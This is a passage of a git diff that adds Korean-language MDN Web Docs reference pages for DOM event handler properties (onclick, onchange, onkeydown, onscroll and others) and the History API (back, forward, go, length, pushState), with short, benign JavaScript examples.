{{event("touchstart")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ontransitioncancel")}}
+
CSS 트랜지션이 취소됐음을 알리는 {{event("transitioncancel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ontransitionend")}}
+
CSS 트랜지션이 끝났음을 알리는 {{event("transitionend")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onwaiting")}}
+
{{event("waiting")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
+
+ +

메소드

+ +

이 인터페이스는 메서드를 정의하지 않습니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName("Selection API",'', 'Extension to GlobalEventHandlers')}}{{Spec2('Selection API')}}onselectionchange 추가.
{{SpecName('Pointer Lock', '#extensions-to-the-document-interface', 'Extension of Document')}}{{Spec2('Pointer Lock')}}{{domxref("Document")}} 에 onpointerlockchangeonpointerlockerror 추가. GlobalEventHandlers 에 실험적으로 구현되었음.
{{SpecName('HTML WHATWG', '#globaleventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML WHATWG')}}{{SpecName("HTML5.1")}} 최신 스냅샷 이후에 변경 사항 없음.
{{SpecName('HTML5.1', '#globaleventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML5.1')}}{{SpecName("HTML WHATWG")}} 의 스냅샷. {{SpecName("HTML5 W3C")}} 스냅샷 이후에 onsort 가 추가되었음.
{{SpecName("HTML5 W3C", "#globaleventhandlers", "GlobalEventHandlers")}}{{Spec2('HTML5 W3C')}}{{SpecName("HTML WHATWG")}} 의 스냅샷. GlobalEventHandlers 생성(그 전 타겟에 있던 속성들)
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.GlobalEventHandlers")}}

+
+ +

함께 보기

+ + diff --git a/files/ko/web/api/globaleventhandlers/onchange/index.html b/files/ko/web/api/globaleventhandlers/onchange/index.html new file mode 100644 index 0000000000..bbefe1251d --- /dev/null +++ b/files/ko/web/api/globaleventhandlers/onchange/index.html @@ -0,0 +1,73 @@ +--- +title: GlobalEventHandlers.onchange +slug: Web/API/GlobalEventHandlers/onchange +tags: + - API + - GlobalEventHandlers + - HTML DOM + - Property + - Reference +translation_of: Web/API/GlobalEventHandlers/onchange +--- +
+
{{ ApiRef("HTML DOM") }}
+
+ +

onchange 속성은 {{event("change")}} 이벤트의 이벤트 핸들러를 설정하고 반환합니다.

+ +

구문

+ +
target.onchange = functionRef;
+
+ +

functionRefnull 또는 이벤트 핸들러를 지정하는 JavaScript function 함수 중 하나여야 합니다.

+ +

예제

+ +

HTML

+ +
<input type="text" placeholder="Type something here, then click outside of the field." size="50">
+<p id="log"></p>
+ +

JavaScript

+ +
let input = document.querySelector('input');
+let log = document.getElementById('log');
+
+input.onchange = handleChange;
+
+function handleChange(e) {
+  log.textContent = `The field's value is
+      ${e.target.value.length} character(s) long.`;
+}
+ +

결과

+ +

{{EmbedLiveSample("예제")}}

+ +

명세

+ + + + + + + + + + + + + + +
명세상태비고
{{SpecName('HTML WHATWG','webappapis.html#handler-onchange','onchange')}}{{Spec2('HTML WHATWG')}} 
+ +

브라우저 호환성

+ +

{{Compat("api.GlobalEventHandlers.onchange")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/globaleventhandlers/onclick/index.html b/files/ko/web/api/globaleventhandlers/onclick/index.html new file mode 100644 index 0000000000..9b655c0421 --- /dev/null +++ b/files/ko/web/api/globaleventhandlers/onclick/index.html @@ -0,0 +1,89 @@ +--- +title: GlobalEventHandlers.onclick +slug: Web/API/GlobalEventHandlers/onclick +tags: + - API + - Event Handler + - HTML DOM + - Property + - Reference +translation_of: Web/API/GlobalEventHandlers/onclick +--- +
{{apiref("HTML DOM")}}
+ +

{{domxref("GlobalEventHandlers")}} 믹스인mixin의 onclick 속성은 주어진 요소의 {{event("click")}} 이벤트를 처리하기 위한 {{domxref("EventHandler")}}입니다.

+ +

click 이벤트는 사용자가 요소를 클릭할 때 {{event("mousedown")}}과 {{event("mouseup")}} 다음으로 발동합니다.

+ +
참고: click 이벤트에 행동을 붙일 땐, 마우스나 터치 스크린을 사용하지 않는 사용자도 그 행동을 할 수 있도록 {{event("keydown")}}이벤트에도 똑같이 적용하는걸 고려해보세요.
+ +

구문

+ +
target.onclick = functionRef;
+
+ +

+ +

functionRef는 함수 이름이거나 함수 표현식으로, 유일한 매개변수로 {{domxref("MouseEvent")}} 객체를 받습니다. 함수 내에서 {{jsxref("Operators/this", "this")}}는 이벤트가 발동한 요소를 가리킵니다.

+ +

하나의 객체에는 하나의 onclick 처리기만 할당할 수 있습니다. 더 유연한{{domxref("EventTarget.addEventListener()")}} 메서드를 선호하는 편이 좋을 수도 있습니다.

+ +

예제

+ +

다음 예제는 클릭 위치를 기록합니다.

+ +

HTML

+ +
<p>Click anywhere in this example.</p>
+<p id="log"></p>
+ +

JavaScript

+ +
let log = document.getElementById('log');
+
+document.onclick = inputChange;
+
+function inputChange(e) {
+  log.textContent = `Position: (${e.clientX}, ${e.clientY})`;
+}
+ +

결과

+ +

{{EmbedLiveSample("예제")}}

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','webappapis.html#handler-onclick','onclick')}}{{Spec2('HTML WHATWG')}} 
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.GlobalEventHandlers.onclick")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/globaleventhandlers/oncontextmenu/index.html b/files/ko/web/api/globaleventhandlers/oncontextmenu/index.html new file mode 100644 index 0000000000..c13513c82e --- /dev/null +++ b/files/ko/web/api/globaleventhandlers/oncontextmenu/index.html @@ -0,0 +1,103 @@ +--- +title: GlobalEventHandlers.oncontextmenu +slug: Web/API/GlobalEventHandlers/oncontextmenu +translation_of: Web/API/GlobalEventHandlers/oncontextmenu +--- +
{{ ApiRef("HTML DOM") }}
+ +

윈도우에서 마우스 오른쪽 클릭시 발생하는 이벤트 이벤트 핸들러 속성 입니다. 기본동작을 막지 않는 한 (아래의 예제를 참조하세요), 브라우저의 컨텍스트 메뉴가 활성화됩니다. (그러나 IE8는 이것과 관련된 버그가 있어 contextmenu 가 정의 되어있다고 할지라도 활성화 되지 않습니다).  이 이벤트는 비활성화되지 않은(non-disabled) 오른쪽 클릭 이벤트와 함께 발생하며   "contextmenu" 속성 을 가진 엘리먼트에는 달리지 않는다는 것을 유의하세요.

+ +

Syntax

+ +
window.oncontextmenu = funcRef;
+//funcRef refers to the function to be called
+ +

Example

+ +

페이지상에서 오른쪽 클릭을 막는 예제들 입니다:

+ +
document.oncontextmenu = function () { // Use document as opposed to window for IE8 compatibility
+   return false;
+};
+
+window.addEventListener('contextmenu', function (e) { // Not compatible with IE < 9
+    e.preventDefault();
+}, false);
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','webappapis.html#handler-oncontextmenu','oncontextmenu')}}{{Spec2('HTML WHATWG')}} 
+ +

Browser Compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/ko/web/api/globaleventhandlers/ondblclick/index.html b/files/ko/web/api/globaleventhandlers/ondblclick/index.html new file mode 100644 index 0000000000..7444c2c81b --- /dev/null +++ b/files/ko/web/api/globaleventhandlers/ondblclick/index.html @@ -0,0 +1,70 @@ +--- +title: GlobalEventHandlers.ondblclick +slug: Web/API/GlobalEventHandlers/ondblclick +tags: + - API + - Event Handler + - HTML DOM + - Property + - Reference +translation_of: Web/API/GlobalEventHandlers/ondblclick +--- +
{{ApiRef("HTML DOM")}}
+ +

ondblclick property는 현재 요소(element)의 onDblClick 이벤트 핸들러 코드를 돌려줍니다.

+ +

구문

+ +
element.ondblclick = function;
+
+ + + +
element.ondblclick = function() { console.log("ondblclick event detected!"); };
+
+ +

예제

+ +

다음 예제는 더블클릭의 위치를 기록합니다.

+ +

HTML

+ +
<p>Double click anywhere in this example.</p>
+<p id="log"></p>
+ +

JavaScript

+ +
let log = document.getElementById('log');
+
+document.ondblclick = logDoubleClick;
+
+function logDoubleClick(e) {
+  log.textContent = `Position: (${e.clientX}, ${e.clientY})`;
+}
+ +

결과

+ +

{{EmbedLiveSample("예제")}}

+ +

명세

+ + + + + + + + + + + + + + +
명세상태비고
{{SpecName('HTML WHATWG','webappapis.html#handler-ondblclick','ondblclick')}}{{Spec2('HTML WHATWG')}}
+ +

브라우저 호환성

+ +
{{Compat("api.GlobalEventHandlers.ondblclick")}}
diff --git a/files/ko/web/api/globaleventhandlers/onkeydown/index.html b/files/ko/web/api/globaleventhandlers/onkeydown/index.html new file mode 100644 index 0000000000..d5f598104a --- /dev/null +++ b/files/ko/web/api/globaleventhandlers/onkeydown/index.html @@ -0,0 +1,60 @@ +--- +title: GlobalEventHandlers.onkeydown +slug: Web/API/GlobalEventHandlers/onkeydown +tags: + - API + - HTML DOM + - NeedsContent + - NeedsExample +translation_of: Web/API/GlobalEventHandlers/onkeydown +--- +
{{ApiRef("HTML DOM")}}
+ +

onkeydown 속성은 현재 요소(element)의 onKeyDown 이벤트 핸들러 코드를 돌려줍니다

+ +
element.onkeydown = event handling code
+ +

Example

+ +

This example logs the {{domxref("KeyboardEvent.code")}} value whenever you press down a key inside the {{HtmlElement("input")}} element.

+ +

HTML

+ +
<input>
+<p id="log"></p>
+ +

JavaScript

+ +
const input = document.querySelector('input');
+const log = document.getElementById('log');
+
+input.onkeydown = logKey;
+
+function logKey(e) {
+  log.textContent += ` ${e.code}`;
+}
+ +

Result

+ +

{{EmbedLiveSample("Example")}}

+ +

명세

+ + + + + + + + + + + + + + +
명세상태비고
{{SpecName('HTML WHATWG','webappapis.html#handler-onkeydown','onkeydown')}}{{Spec2('HTML WHATWG')}} 
+ +

브라우저 호환성

+ +

{{Compat("api.GlobalEventHandlers.onkeydown")}}

diff --git a/files/ko/web/api/globaleventhandlers/onkeyup/index.html b/files/ko/web/api/globaleventhandlers/onkeyup/index.html new file mode 100644 index 0000000000..7ba6e8c6b6 --- /dev/null +++ b/files/ko/web/api/globaleventhandlers/onkeyup/index.html @@ -0,0 +1,27 @@ +--- +title: GlobalEventHandlers.onkeyup +slug: Web/API/GlobalEventHandlers/onkeyup +translation_of: Web/API/GlobalEventHandlers/onkeyup +--- +
{{ApiRef("HTML DOM")}}
+ +

onkeyup 속성은 현재 요소에서 onKeyUp 이벤트 핸들러를 반환합니다.

+ +

문법

+ +
element.onkeyup = event handling code
+
+ +

예제

+ +
 <input type="text" onKeyUp="keyWasPressed(event)">
+ <script>function keyWasPressed(evt){ console.log(evt.keyCode) }</script>
+
+ +

참고

+ +

keyup 이벤트는 사용자가 눌렀던 키를 놓을 때 발생합니다.

+ +

명세서

+ +

명세 내용이 없습니다.

diff --git a/files/ko/web/api/globaleventhandlers/onpointerenter/index.html b/files/ko/web/api/globaleventhandlers/onpointerenter/index.html new file mode 100644 index 0000000000..a9e0087ecc --- /dev/null +++ b/files/ko/web/api/globaleventhandlers/onpointerenter/index.html @@ -0,0 +1,79 @@ +--- +title: GlobalEventHandlers.onpointerenter +slug: Web/API/GlobalEventHandlers/onpointerenter +translation_of: Web/API/GlobalEventHandlers/onpointerenter +--- +
{{ApiRef("HTML DOM")}}
+ +

{{domxref("GlobalEventHandlers")}} mixin의 onpointerenter property는 {{event("pointerenter")}} 이벤트를 처리하는 {{domxref("EventHandler")}} 이다.

+ +

Syntax

+ +
targetElement.onpointerenter = enterHandler;
+
+var enterHandler = targetElement.onpointerenter;
+
+ +

Value

+ +
+
enterHandler
+
The pointerenter event handler for element targetElement.
+
+ +

Example

+ +

아래 예제는 element의 pointerenter 이벤트 핸들러를 설정하는 onpointerenter 의 2가지 사용법을 보여준다.

+ +
<html>
+<script>
+function enterHandler(ev) {
+  // pointerenter event처리
+}
+function init() {
+  let el = document.getElementById('target1');
+  el.onpointerenter = enterHandler;
+}
+</script>
+
+<body onload="init();">
+  <div id="target1"> Touch me ... </div>
+  <div id="target2" onpointerenter="enterHandler(event)"> Touch me ... </div>
+</body>
+</html>
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Pointer Events 2','#dom-globaleventhandlers-onpointerenter', 'onpointerenter')}}{{Spec2('Pointer Events 2')}}Non-stable version
{{SpecName('Pointer Events', '#widl-GlobalEventHandlers-onpointerenter', 'onpointerenter')}}{{Spec2('Pointer Events')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.GlobalEventHandlers.onpointerenter")}}

+ +

See also

+ + diff --git a/files/ko/web/api/globaleventhandlers/onscroll/index.html b/files/ko/web/api/globaleventhandlers/onscroll/index.html new file mode 100644 index 0000000000..1c32b77ee9 --- /dev/null +++ b/files/ko/web/api/globaleventhandlers/onscroll/index.html @@ -0,0 +1,98 @@ +--- +title: GlobalEventHandlers.onscroll +slug: Web/API/GlobalEventHandlers/onscroll +translation_of: Web/API/GlobalEventHandlers/onscroll +--- +
{{ApiRef("HTML DOM")}}
+ +
{{domxref("GlobalEventHandlers")}} 의 onscroll 이벤트는 {{domxref("EventHandler")}} 의 scroll 이벤트를 상속받았습니다.
+ +
+ +
document view 나  element 가 스크롤이 됬을 때 이벤트가  발생합니다.
+ +
+ +
+

Note: onscroll 과 {{domxref("GlobalEventHandlers.onwheel", "onwheel")}} 이벤트를 혼동하지 마세요. onwheel 보통 휠의 회전을 처리하고, onscroll은 객체의 내용의 스크롤을 처리합니다.

+
+ +

Syntax

+ +
target.onscroll = functionRef;
+
+ +

Value

+ +

functionRef 은(는) 함수 표현식 또는 함수 이름 이며, 이 객체는 오직 {{domxref("UIEvent")}} 객체만 인수로 받습니다.

+ +

오직 하나의 onscroll 이벤트만 하나의 객체에 할당 할 수 있습니다.  EventTarget.addEventListener() 를 사용하여  scroll 이벤트를 정의 할 수 있습니다.

+ +

Example

+ +

다음 예제는  {{HtmlElement("textarea")}}에 발생한 스크롤 이벤트 결과를 출력해 줍니다.

+ +

HTML

+ +
<textarea>1 2 3 4 5 6 7 8 9</textarea>
+<p id="log"></p>
+ +

CSS

+ +
textarea {
+  width: 4rem;
+  height: 8rem;
+  font-size: 3rem;
+}
+ +

JavaScript

+ +
const textarea = document.querySelector('textarea');
+const log = document.getElementById('log');
+
+textarea.onscroll = logScroll;
+
+function logScroll(e) {
+  log.textContent = `Scroll position: ${e.target.scrollTop}`;
+}
+ +

Result

+ +

{{EmbedLiveSample("Example", 700, 200)}}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','#handler-onscroll','onscroll')}}{{Spec2('HTML WHATWG')}}
{{SpecName("DOM3 Events", "#event-type-scroll", "onscroll")}}{{Spec2("DOM3 Events")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.GlobalEventHandlers.onscroll")}}

+ +

See also

+ + diff --git a/files/ko/web/api/globaleventhandlers/onsubmit/index.html b/files/ko/web/api/globaleventhandlers/onsubmit/index.html new file mode 100644 index 0000000000..e8e72ac2e0 --- /dev/null +++ b/files/ko/web/api/globaleventhandlers/onsubmit/index.html @@ -0,0 +1,70 @@ +--- +title: GlobalEventHandlers.onsubmit +slug: Web/API/GlobalEventHandlers/onsubmit +tags: + - API + - HTML DOM + - 레퍼런스 + - 속성 +translation_of: Web/API/GlobalEventHandlers/onsubmit +--- +
{{ApiRef("HTML DOM")}}
+ +

 

+ +

현재 창에서 폼을 제출하는 이벤트를 다루는 이벤트 핸들러

+ +

문법

+ +
window.onsubmit = funcRef;
+
+ +

매개 변수

+ + + +

예제

+ +
<html>
+<script>
+function reg() {
+  window.captureEvents(Event.SUBMIT);
+  window.onsubmit = hit;
+}
+
+function hit() {
+  console.log('hit');
+}
+</script>
+
+<body onload="reg();">
+<form>
+  <input type="submit" value="submit" />
+</form>
+<div id="d"> </div>
+</body>
+</html>
+
+ +

알아두기

+ +

제출 이벤트는 사용자가 폼 내부에 있는 제출 버튼(<input type="submit"/>)을 눌렀을 때 발생한다.

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','webappapis.html#handler-onsubmit','onsubmit')}}{{Spec2('HTML WHATWG')}} 
diff --git a/files/ko/web/api/globaleventhandlers/ontouchstart/index.html b/files/ko/web/api/globaleventhandlers/ontouchstart/index.html new file mode 100644 index 0000000000..0017375993 --- /dev/null +++ b/files/ko/web/api/globaleventhandlers/ontouchstart/index.html @@ -0,0 +1,128 @@ +--- +title: GlobalEventHandlers.ontouchstart +slug: Web/API/GlobalEventHandlers/ontouchstart +translation_of: Web/API/GlobalEventHandlers/ontouchstart +--- +
{{ApiRef("HTML DOM")}}
+ +

{{event("touchstart")}} 이벤트를 위한 {{domxref("GlobalEventHandlers","global event handler")}}

+ +

{{SeeCompatTable}}

+ +
+

Note: 이 요소는 아직 표준화 되지 않은 기술입니다. It is specified in the {{SpecName('Touch Events 2')}} {{Spec2('Touch Events 2')}} 명세에서 작성된 기술이며 {{SpecName('Touch Events')}} {{Spec2('Touch Events')}}에는 포함되어 있지 않습니다. 따라서 아직 대부분의 브라우저에서는 사용되지 않는 요소입니다.

+
+ +

문법

+ +
var startHandler = someElement.ontouchstart;
+
+ +

반환 값

+ +
+
startHandler
+
someElement를 위한 touchstart 이벤트 핸들러
+
+ +

예제

+ +

이 예제는 HTML 요소에 touchstart e이벤트 핸들러를 등록하기 위한 두 방법을 보여주고 있습니다.

+ +
<html>
+<script>
+function startTouch(ev) {
+ // 이벤트 내부
+}
+function init() {
+ var el=document.getElementById("target1");
+ el.ontouchstart = startTouch;
+}
+</script>
+<body onload="init();">
+<div id="target1"> 터치해주세요... </div>
+<div id="target2" ontouchstart="startTouch(event)"> 터치해주세요... </div>
+</body>
+</html>
+
+ +

명세

+ + + + + + + + + + + + + + +
명세현황비고
{{SpecName('Touch Events 2','#widl-GlobalEventHandlers-ontouchstart')}}{{Spec2('Touch Events 2')}}Non-stable version.
+ +

브라우저 호환성

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support     
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support        
+
+ +

 

+ +

더 보기

+ + diff --git a/files/ko/web/api/history/back/index.html b/files/ko/web/api/history/back/index.html new file mode 100644 index 0000000000..2b5ee8475a --- /dev/null +++ b/files/ko/web/api/history/back/index.html @@ -0,0 +1,70 @@ +--- +title: History.back() +slug: Web/API/History/back +tags: + - API + - HTML DOM + - History + - History API + - Method + - Reference + - Web +translation_of: Web/API/History/back +--- +
{{APIRef("DOM")}}
+ +

History.back() 메서드는 브라우저가 세션 기록의 바로 뒤 페이지로 이동하도록 지시합니다. {{domxref("History.go", "history.go(-1)")}}와 같습니다. 이전 페이지가 없는 경우 아무것도 하지 않습니다.

+ +

이 메서드는 비동기적입니다. {{event("popstate")}} 이벤트 처리기를 통해 탐색 완료 시점을 알 수 있습니다.

+ +

구문

+ +
history.back()
+ +

예제

+ +

다음 예제는 클릭했을 때 뒤로 가는 버튼을 생성합니다.

+ +

HTML

+ +
<button id="go-back">뒤로 가기!</button>
+ +

JavaScript

+ +
document.getElementById('go-back').addEventListener('click', () => {
+  window.history.back();
+});
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "history.html#history", "History.back()")}}{{Spec2("HTML WHATWG")}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName("HTML5 W3C", "browsers.html#dom-history-back", "History.back()")}}{{Spec2("HTML5 W3C")}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.History.back")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/history/forward/index.html b/files/ko/web/api/history/forward/index.html new file mode 100644 index 0000000000..52ab61f70b --- /dev/null +++ b/files/ko/web/api/history/forward/index.html @@ -0,0 +1,69 @@ +--- +title: History.forward() +slug: Web/API/History/forward +tags: + - API + - HTML DOM + - History + - History API + - Method + - Reference +translation_of: Web/API/History/forward +--- +
{{APIRef("DOM")}}
+ +

History.forward() 메서드는 브라우저가 세션 기록의 바로 앞 페이지로 이동하도록 지시합니다. {{domxref("History.go", "history.go(1)")}}과 같습니다. 다음 페이지가 없는 경우 아무것도 하지 않습니다.

+ +

이 메서드는 비동기적입니다. {{event("popstate")}} 이벤트 처리기를 통해 탐색 완료 시점을 알 수 있습니다.

+ +

구문

+ +
history.forward()
+ +

예제

+ +

다음 예제는 클릭했을 때 앞으로 가는 버튼을 생성합니다.

+ +

HTML

+ +
<button id='go-forward'>앞으로 가기!</button>
+ +

JavaScript

+ +
document.getElementById('go-forward').addEventListener('click', e => {
+  window.history.forward();
+})
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "browsers.html#history", "History")}}{{Spec2("HTML WHATWG")}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName("HTML5 W3C", "browsers.html#history", "History")}}{{Spec2("HTML5 W3C")}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.History.forward")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/history/go/index.html b/files/ko/web/api/history/go/index.html new file mode 100644 index 0000000000..3f90100ea8 --- /dev/null +++ b/files/ko/web/api/history/go/index.html @@ -0,0 +1,82 @@ +--- +title: History.go() +slug: Web/API/History/go +translation_of: Web/API/History/go +--- +
{{APIRef("History API")}}
+ +

History.go() 메서드는 history 세션에서 특정한 페이지를 로딩합니다. 인자로 전달하는 파라미터 값에 따라 history를 통해서 페이지를 앞 뒤로 이동할 수 있습니다. 

+ +

이 메서드는 {{glossary("asynchronous")}}(비동기)로 동작합니다. 페이지 앞, 뒤 이동이 언제 이뤄지는지 알려면 {{event("popstate")}} event에 대한 listener를 등록합니다.

+ +

구문

+ +
history.go([delta])
+ +

Parameters

+ +
+
delta {{optional_inline}}
+
현재 페이지에서 상대적으로 이동하려고 하는 history의 위치 값. 음수 값은 뒤로 이동하고, 양수 값은 앞으로 이동합니다. 예를 들면 history.go(2) 는 현재 페이지에서 2 페이지 앞으로 이동하고, history.go(-2) 는 현재 페이지에서 2 페이지 뒤로 이동합니다. 만약 값을 전달하지 않거나, delta 값을 0으로 전달한다면, 이는 location.reload()를 동작시켰을 때와 동일한 결과를 보입니다. (새로고침)
+
+ +

예제

+ +

한 페이지 뒤로 가기 ({{domxref("History.back", "back()")}}를 호출한 것과 동일):

+ +
history.go(-1)
+ +

{{domxref("History.forward", "forward()")}}와 동일한 한 페이지 앞으로 가기:

+ +
history.go(1)
+ +

두 페이지 앞으로 가기:

+ +
history.go(2);
+ +

두 페이지 뒤로 가기:

+ +
history.go(-2);
+ +

마지막으로, 아래 구문들은 현재 페이지를 새로고침 합니다:

+ +
history.go();
+history.go(0);
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "history.html#dom-history-go", "History.go()")}}{{Spec2("HTML WHATWG")}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName("HTML5 W3C", "browsers.html#dom-history-go", "History.go()")}}{{Spec2("HTML5 W3C")}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.History.go")}}

+ +

See also

+ + diff --git a/files/ko/web/api/history/index.html b/files/ko/web/api/history/index.html new file mode 100644 index 0000000000..37fabc2c98 --- /dev/null +++ b/files/ko/web/api/history/index.html @@ -0,0 +1,85 @@ +--- +title: History +slug: Web/API/History +tags: + - API + - HTML DOM + - History API + - Interface + - Reference + - Web +translation_of: Web/API/History +--- +
{{APIRef("HTML DOM")}}
+ +

History 인터페이스는 브라우저의 세션 기록, 즉 현재 페이지를 불러온 탭 또는 프레임의 방문 기록을 조작할 수 있는 방법을 제공합니다.

+ +

속성

+ +

History 인터페이스는 어떤 속성도 상속하지 않습니다.

+ +
+
{{domxref("History.length")}} {{readOnlyInline}}
+
현재 페이지를 포함해, 세션 기록의 길이를 나타내는 정수를 반환합니다.
+
{{domxref("History.scrollRestoration")}}
+
기록 탐색 시 스크롤 위치 복원 여부를 명시할 수 있습니다. 가능한 값은 automanual입니다.
+
{{domxref("History.state")}} {{readOnlyInline}}
+
기록 스택 최상단의 스테이트를 나타내는 값을 반환합니다. {{event("popstate")}} 이벤트를 기다리지 않고 현재 기록의 스테이트를 볼 수 있는 방법입니다.
+
+ +

메서드

+ +

History 인터페이스는 어떤 메서드도 상속하지 않습니다.

+ +
+
{{domxref("History.back()")}}
+
세션 기록의 바로 뒤 페이지로 이동하는 비동기 메서드입니다. 브라우저의 뒤로 가기 버튼을 눌렀을 때, 그리고 history.go(-1)을 사용했을 때와 같습니다. +
참고: 세션 기록의 제일 첫 번째 페이지에서 호출해도 오류는 발생하지 않습니다.
+
+
{{domxref("History.forward()")}}
+
세션 기록의 바로 앞 페이지로 이동하는 비동기 메서드입니다. 브라우저의 앞으로 가기 버튼을 눌렀을 때, 그리고 history.go(1)을 사용했을 때와 같습니다. +
참고: 세션 기록의 제일 마지막 페이지에서 호출해도 오류는 발생하지 않습니다.
+
+
{{domxref("History.go()")}}
+
현재 페이지를 기준으로, 상대적인 위치에 존재하는 세션 기록 내 페이지로 이동하는 비동기 메서드입니다. 예를 들어, 매개변수로 -1을 제공하면 바로 뒤로, 1을 제공하면 바로 앞으로 이동합니다. 세션 기록의 범위를 벗어나는 값을 제공하면 아무 일도 일어나지 않습니다. 매개변수를 제공하지 않거나, 0을 제공하면 현재 페이지를 다시 불러옵니다.
+
{{domxref("History.pushState()")}}
+
주어진 데이터를 지정한 제목(제공한 경우 URL도)으로 세션 기록 스택에 넣습니다. 데이터는 DOM이 불투명(opaque)하게 취급하므로, 직렬화 가능한 모든 JavaScript 객체를 사용할 수 있습니다. 참고로, Safari를 제외한 모든 브라우저는 title 매개변수를 무시합니다.
+
{{domxref("History.replaceState()")}}
+
세션 기록 스택의 제일 최근 항목을 주어진 데이터, 지정한 제목 및 URL로 대체합니다. 데이터는 DOM이 불투명(opaque)하게 취급하므로, 직렬화 가능한 모든 JavaScript 객체를 사용할 수 있습니다. 참고로, Safari를 제외한 모든 브라우저는 title 매개변수를 무시합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "browsers.html#the-history-interface", "History")}}{{Spec2('HTML WHATWG')}}Adds the scrollRestoration attribute.
{{SpecName('HTML5 W3C', "browsers.html#the-history-interface", "History")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.History")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/history/length/index.html b/files/ko/web/api/history/length/index.html new file mode 100644 index 0000000000..0e26279b5c --- /dev/null +++ b/files/ko/web/api/history/length/index.html @@ -0,0 +1,50 @@ +--- +title: History.length +slug: Web/API/History/length +tags: + - API + - HTML + - HTML DOM + - History API + - Property + - Read-only + - Reference +translation_of: Web/API/History/length +--- +
{{ APIRef("HTML DOM") }}
+ +

History.length 읽기 전용 속성은 현재 페이지를 포함해, 세션 기록의 길이를 나타내는 정수를 반환합니다. 예를 들어, 새로운 탭에 막 불러온 페이지의 세션 기록 길이는 1입니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "history.html#dom-history-length", "History.length")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#dom-history-length", "History.length")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.History.length")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/history/pushstate/index.html b/files/ko/web/api/history/pushstate/index.html new file mode 100644 index 0000000000..a4e7af47df --- /dev/null +++ b/files/ko/web/api/history/pushstate/index.html @@ -0,0 +1,84 @@ +--- +title: History.pushState() +slug: Web/API/History/pushState +tags: + - API + - DOM + - History + - History API + - Method + - Reference + - Web +translation_of: Web/API/History/pushState +--- +
{{APIRef("DOM")}}
+ +

HTML 문서에서, history.pushState() 메서드는 브라우저의 세션 기록 스택에 상태를 추가합니다.

+ +

구문

+ +
history.pushState(state, title[, url]);
+ +

매개변수

+ +
+
state
+
새로운 세션 기록 항목에 연결할 상태 객체. 사용자가 새로운 상태로 이동할 때마다 {{event("popstate")}} 이벤트가 발생하는데, 이 때 이벤트 객체의 state 속성에 해당 상태의 복제본이 담겨 있습니다.
+
상태 객체는 직렬화 가능한 객체라면 모두 가능합니다.
+
title
+
